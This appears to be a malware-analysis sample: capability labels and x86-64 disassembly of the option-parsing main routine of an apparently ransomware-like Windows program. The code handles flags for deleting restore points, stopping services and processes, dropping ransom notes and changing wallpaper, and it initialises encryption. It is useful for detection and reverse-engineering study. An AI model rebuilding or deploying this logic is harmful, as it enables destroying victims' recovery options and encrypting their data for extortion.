Function at 0x140003db1
Capabilities:
Clear windows event logs
Delete volume shadow copies
Disable automatic windows recovery features
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0xca8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc40], rcx
mov dword [rbp + 0xc48], edx
mov qword [rbp + 0xbd8], 0
mov qword [rbp + 0xbd0], 0
mov qword [rbp + 0xbc8], 0
mov dword [rbp + 0xc1c], 0
mov qword [rbp + 0xbc0], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0xbb8], 0
mov dword [rbp + 0xc], 0
mov qword [rbp + 0xbb0], 0
mov qword [rbp + 0xba8], 0
mov qword [rbp], 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_win32_get_command_line]
call rax
mov qword [rbp + 0xba0], rax
mov rax, qword [rbp + 0xba0]
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
mov qword [rbp + 0xbd8], rax
mov rax, qword [rbp + 0xba0]
mov rcx, rax
call sym._vala_array_length
mov dword [rbp + 0xb94], eax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb90], eax
mov dword [rbp + 0xc18], 0
mov dword [rbp + 0xc18], 0
mov dword [rbp + 0xc14], 0
mov dword [rbp + 0xc14], 1
mov dword [rbp + 0xc10], 0
cmp dword [rbp + 0xc14], 0
jne 0x140003ee0
mov eax, dword [rbp + 0xc18]
mov dword [rbp + 0xb8c], eax
mov eax, dword [rbp + 0xb8c]
add eax, 1
mov dword [rbp + 0xc18], eax
mov dword [rbp + 0xc14], 0
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb80], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb7c], eax
mov eax, dword [rbp + 0xc18]
cmp eax, dword [rbp + 0xb7c]
jge 0x14000413e
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb70], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb6c], eax
mov eax, dword [rbp + 0xc18]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb70]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb60], rax
mov rax, qword [rbp + 0xb60]
lea rdx, [0x140019676]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140003f7e
mov dword [rbp + 0xc10], 1
jmp 0x140003fe4
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb58], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb54], eax
mov eax, dword [rbp + 0xc18]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb58]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb48], rax
mov rax, qword [rbp + 0xb48]
lea rdx, str.__self
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
sete al
movzx eax, al
mov dword [rbp + 0xc10], eax
cmp dword [rbp + 0xc10], 0
je 0x140003eb2
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb40], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb3c], eax
mov eax, dword [rbp + 0xc18]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb40]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xb30], rax
cmp qword [rbp + 0xb30], 0
je 0x1400040ff
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb10], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb0c], eax
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb00], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xafc], eax
mov eax, dword [rbp + 0xc18]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb00]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xaf0], rax
mov rax, qword [rbp + 0xaf0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0xae8], rax
mov rax, qword [rbp + 0xb10]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov rax, qword [rbp + 0xb10]
mov qword [rax], 0
mov rax, qword [rbp + 0xb10]
mov rdx, qword [rbp + 0xae8]
mov qword [rax], rdx
jmp 0x140003eb2
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xb28], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xb24], eax
mov rax, qword [rbp + 0xb28]
mov rax, qword [rax]
mov qword [rbp + 0xb18], rax
mov rax, qword [rbp + 0xb18]
mov rcx, rax
call sym.program_print_help
jmp 0x140003eb2
nop
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0xae0], rax
mov rax, qword [rbp + 0xae0]
mov qword [rbp + 0xbd0], rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0xad8], rax
mov rax, qword [rbp + 0xad8]
mov qword [0x14001e030], rax
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xad0], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xacc], eax
mov rax, qword [rbp + 0xad0]
mov rax, qword [rax]
mov qword [rbp + 0xac0], rax
mov rax, qword [rbp + 0xac0]
mov rcx, rax
call sym.encryption_Initialize
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xab8], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xab4], eax
mov rax, qword [rbp + 0xab8]
mov rax, qword [rax]
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
mov rcx, rax
call sym.program_Initialize
mov qword [rbp + 0xaa0], rax
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0xbc8], rax
mov dword [rbp + 0xc0c], 0
mov dword [rbp + 0xc0c], 0
mov dword [rbp + 0xc08], 0
mov dword [rbp + 0xc08], 1
mov dword [rbp + 0xa9c], 0
cmp dword [rbp + 0xc08], 0
jne 0x14000425a
mov eax, dword [rbp + 0xc0c]
mov dword [rbp + 0xa98], eax
mov eax, dword [rbp + 0xa98]
add eax, 1
mov dword [rbp + 0xc0c], eax
mov dword [rbp + 0xc08], 0
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa90], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xa8c], eax
mov eax, dword [rbp + 0xc0c]
cmp eax, dword [rbp + 0xa8c]
jge 0x140005160
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa80], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xa7c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa80]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xa70], rax
mov rax, qword [rbp + 0xa70]
mov qword [rbp + 0xa68], rax
cmp qword [rbp + 0xa68], 0
je 0x1400042fb
mov rax, qword [rbp + 0xa68]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_string]
call rax
jmp 0x140004300
mov eax, 0
mov dword [rbp + 0xa9c], eax
mov eax, dword [0x14001e080]
test eax, eax
jne 0x140004331
lea rax, [0x140019680]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e080], eax
mov eax, dword [0x14001e080]
jmp 0x140004337
mov eax, dword [0x14001e080]
cmp eax, dword [rbp + 0xa9c]
je 0x14000437c
mov eax, dword [0x14001e084]
test eax, eax
jne 0x14000436a
lea rax, str.__help
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e084], eax
mov eax, dword [0x14001e084]
jmp 0x140004370
mov eax, dword [0x14001e084]
cmp eax, dword [rbp + 0xa9c]
jne 0x140004438
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x760], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x75c], eax
mov rax, qword [rbp + 0x760]
mov rax, qword [rax]
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sym.program_print_help
cmp qword [rbp + 0xbc8], 0
je 0x1400043de
mov rax, qword [rbp + 0xbc8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbc8], 0
cmp qword [rbp + 0xbd0], 0
je 0x140004406
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbd0], 0
mov eax, dword [rbp + 0xb94]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xbd8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xbd8], 0
jmp 0x140007082
mov eax, dword [0x14001e088]
test eax, eax
jne 0x140004463
lea rax, [0x14001968a]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e088], eax
mov eax, dword [0x14001e088]
jmp 0x140004469
mov eax, dword [0x14001e088]
cmp eax, dword [rbp + 0xa9c]
je 0x1400044ae
mov eax, dword [0x14001e08c]
test eax, eax
jne 0x14000449c
lea rax, str.__directory
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e08c], eax
mov eax, dword [0x14001e08c]
jmp 0x1400044a2
mov eax, dword [0x14001e08c]
cmp eax, dword [rbp + 0xa9c]
jne 0x140004666
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x7d8], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x7d4], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
je 0x140004626
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov edx, 1
mov rcx, rax
call sym.settings_set_IncludeDirectories
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x798], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x794], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x780], rax
mov edx, 8
mov ecx, 2
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov rdx, qword [rbp + 0x780]
mov qword [rax], rdx
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x76c], 1
mov rdx, qword [rbp + 0x770]
mov rax, qword [rbp + 0x7a0]
mov r8d, 1
mov rcx, rax
call sym.settings_set_DirectorySet
mov eax, dword [rbp + 0x76c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x770]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x770], 0
jmp 0x140004660
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x7c0], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x7bc], eax
mov rax, qword [rbp + 0x7c0]
mov rax, qword [rax]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x14000515b
mov eax, dword [0x14001e090]
test eax, eax
jne 0x140004691
lea rax, [0x140019699]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e090], eax
mov eax, dword [0x14001e090]
jmp 0x140004697
mov eax, dword [0x14001e090]
cmp eax, dword [rbp + 0xa9c]
je 0x1400046dc
mov eax, dword [0x14001e094]
test eax, eax
jne 0x1400046ca
lea rax, str.__deleteRestorePoints
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e094], eax
mov eax, dword [0x14001e094]
jmp 0x1400046d0
mov eax, dword [0x14001e094]
cmp eax, dword [rbp + 0xa9c]
jne 0x1400048b3
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x860], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x85c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x860]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x850], rax
cmp qword [rbp + 0x850], 0
je 0x140004873
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x830], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x82c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x830]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x1400047b3
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov edx, 1
mov rcx, rax
call sym.settings_set_DeleteSystemRestorePoints
jmp 0x1400048ad
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x818], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x814], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x818]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004837
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov edx, 0
mov rcx, rax
call sym.settings_set_DeleteSystemRestorePoints
jmp 0x1400048ad
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x800], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x7fc], eax
mov rax, qword [rbp + 0x800]
mov rax, qword [rax]
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.program_print_help
jmp 0x1400048ad
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x848], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x844], eax
mov rax, qword [rbp + 0x848]
mov rax, qword [rax]
mov qword [rbp + 0x838], rax
mov rax, qword [rbp + 0x838]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x14000515b
mov eax, dword [0x14001e098]
test eax, eax
jne 0x1400048de
lea rax, [0x1400196be]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e098], eax
mov eax, dword [0x14001e098]
jmp 0x1400048e4
mov eax, dword [0x14001e098]
cmp eax, dword [rbp + 0xa9c]
je 0x140004929
mov eax, dword [0x14001e09c]
test eax, eax
jne 0x140004917
lea rax, str.__stopServices
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e09c], eax
mov eax, dword [0x14001e09c]
jmp 0x14000491d
mov eax, dword [0x14001e09c]
cmp eax, dword [rbp + 0xa9c]
jne 0x140004b00
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x8e8], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x8e4], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8e8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x8d8], rax
cmp qword [rbp + 0x8d8], 0
je 0x140004ac0
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x8b8], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x8b4], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8b8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004a00
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x868]
mov edx, 1
mov rcx, rax
call sym.settings_set_StopServices
jmp 0x140004afa
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x8a0], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x89c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x8a0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x890], rax
mov rax, qword [rbp + 0x890]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004a84
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x870], rax
mov rax, qword [rbp + 0x870]
mov edx, 0
mov rcx, rax
call sym.settings_set_StopServices
jmp 0x140004afa
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x888], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x884], eax
mov rax, qword [rbp + 0x888]
mov rax, qword [rax]
mov qword [rbp + 0x878], rax
mov rax, qword [rbp + 0x878]
mov rcx, rax
call sym.program_print_help
jmp 0x140004afa
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x8d0], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x8cc], eax
mov rax, qword [rbp + 0x8d0]
mov rax, qword [rax]
mov qword [rbp + 0x8c0], rax
mov rax, qword [rbp + 0x8c0]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x14000515b
mov eax, dword [0x14001e0a0]
test eax, eax
jne 0x140004b2b
lea rax, [0x1400196d1]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e0a0], eax
mov eax, dword [0x14001e0a0]
jmp 0x140004b31
mov eax, dword [0x14001e0a0]
cmp eax, dword [rbp + 0xa9c]
je 0x140004b76
mov eax, dword [0x14001e0a4]
test eax, eax
jne 0x140004b64
lea rax, str.__stopProcesses
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e0a4], eax
mov eax, dword [0x14001e0a4]
jmp 0x140004b6a
mov eax, dword [0x14001e0a4]
cmp eax, dword [rbp + 0xa9c]
jne 0x140004d4d
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x970], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x96c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x970]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x960], rax
cmp qword [rbp + 0x960], 0
je 0x140004d0d
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x940], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x93c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x940]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x930], rax
mov rax, qword [rbp + 0x930]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004c4d
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x8f0], rax
mov rax, qword [rbp + 0x8f0]
mov edx, 1
mov rcx, rax
call sym.settings_set_StopProcesses
jmp 0x140004d47
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x928], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x924], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x928]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x918], rax
mov rax, qword [rbp + 0x918]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004cd1
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x8f8], rax
mov rax, qword [rbp + 0x8f8]
mov edx, 0
mov rcx, rax
call sym.settings_set_StopProcesses
jmp 0x140004d47
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x910], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x90c], eax
mov rax, qword [rbp + 0x910]
mov rax, qword [rax]
mov qword [rbp + 0x900], rax
mov rax, qword [rbp + 0x900]
mov rcx, rax
call sym.program_print_help
jmp 0x140004d47
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x958], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x954], eax
mov rax, qword [rbp + 0x958]
mov rax, qword [rax]
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x14000515b
mov eax, dword [0x14001e0a8]
test eax, eax
jne 0x140004d78
lea rax, [0x1400196e5]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e0a8], eax
mov eax, dword [0x14001e0a8]
jmp 0x140004d7e
mov eax, dword [0x14001e0a8]
cmp eax, dword [rbp + 0xa9c]
je 0x140004dc3
mov eax, dword [0x14001e0ac]
test eax, eax
jne 0x140004db1
lea rax, str.__dropNote
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e0ac], eax
mov eax, dword [0x14001e0ac]
jmp 0x140004db7
mov eax, dword [0x14001e0ac]
cmp eax, dword [rbp + 0xa9c]
jne 0x140004f9a
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x9f8], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x9f4], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9f8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x9e8], rax
cmp qword [rbp + 0x9e8], 0
je 0x140004f5a
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x9c8], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x9c4], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9c8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
lea rdx, str.true
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004e9a
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov edx, 1
mov rcx, rax
call sym.settings_set_DropNoteInSpecificDirectories
jmp 0x140004f94
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x9b0], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x9ac], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9b0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x140004f1e
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov edx, 0
mov rcx, rax
call sym.settings_set_DropNoteInSpecificDirectories
jmp 0x140004f94
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x998], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x994], eax
mov rax, qword [rbp + 0x998]
mov rax, qword [rax]
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov rcx, rax
call sym.program_print_help
jmp 0x140004f94
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x9e0], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x9dc], eax
mov rax, qword [rbp + 0x9e0]
mov rax, qword [rax]
mov qword [rbp + 0x9d0], rax
mov rax, qword [rbp + 0x9d0]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x14000515b
mov eax, dword [0x14001e0b0]
test eax, eax
jne 0x140004fc5
lea rax, [0x1400196f4]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e0b0], eax
mov eax, dword [0x14001e0b0]
jmp 0x140004fcb
mov eax, dword [0x14001e0b0]
cmp eax, dword [rbp + 0xa9c]
je 0x140005010
mov eax, dword [0x14001e0b4]
test eax, eax
jne 0x140004ffe
lea rax, str.__changeWallpaper
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_from_static_string]
call rax
mov dword [0x14001e0b4], eax
mov eax, dword [0x14001e0b4]
jmp 0x140005004
mov eax, dword [0x14001e0b4]
cmp eax, dword [rbp + 0xa9c]
jne 0x14000422c
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa60], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xa5c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa60]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xa50], rax
cmp qword [rbp + 0xa50], 0
je 0x140005120
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa30], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xa2c], eax
mov eax, dword [rbp + 0xc0c]
cdqe
add rax, 1
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa30]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
lea rdx, str.false
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strcmp0]
call rax
test eax, eax
jne 0x1400050e4
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0xa00]
mov edx, 0
mov rcx, rax
call sym.settings_set_ChangeWallpaper
jmp 0x14000515a
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa18], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xa14], eax
mov rax, qword [rbp + 0xa18]
mov rax, qword [rax]
mov qword [rbp + 0xa08], rax
mov rax, qword [rbp + 0xa08]
mov rcx, rax
call sym.program_print_help
jmp 0x14000515a
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa48], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0xa44], eax
mov rax, qword [rbp + 0xa48]
mov rax, qword [rax]
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov rcx, rax
call sym.program_print_help
nop
jmp 0x14000422c
nop
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sym.settings_get_MinDate
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x748]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x730], rax
jle 0x1400051c9
mov dword [rbp + 0xc1c], 1
jmp 0x14000522f
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sym.settings_get_MaxDate
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x728]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_to_unix]
call rax
cmp qword [rbp + 0x710], rax
setl al
movzx eax, al
mov dword [rbp + 0xc1c], eax
cmp dword [rbp + 0xc1c], 0
je 0x1400052f0
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0xf8], rax
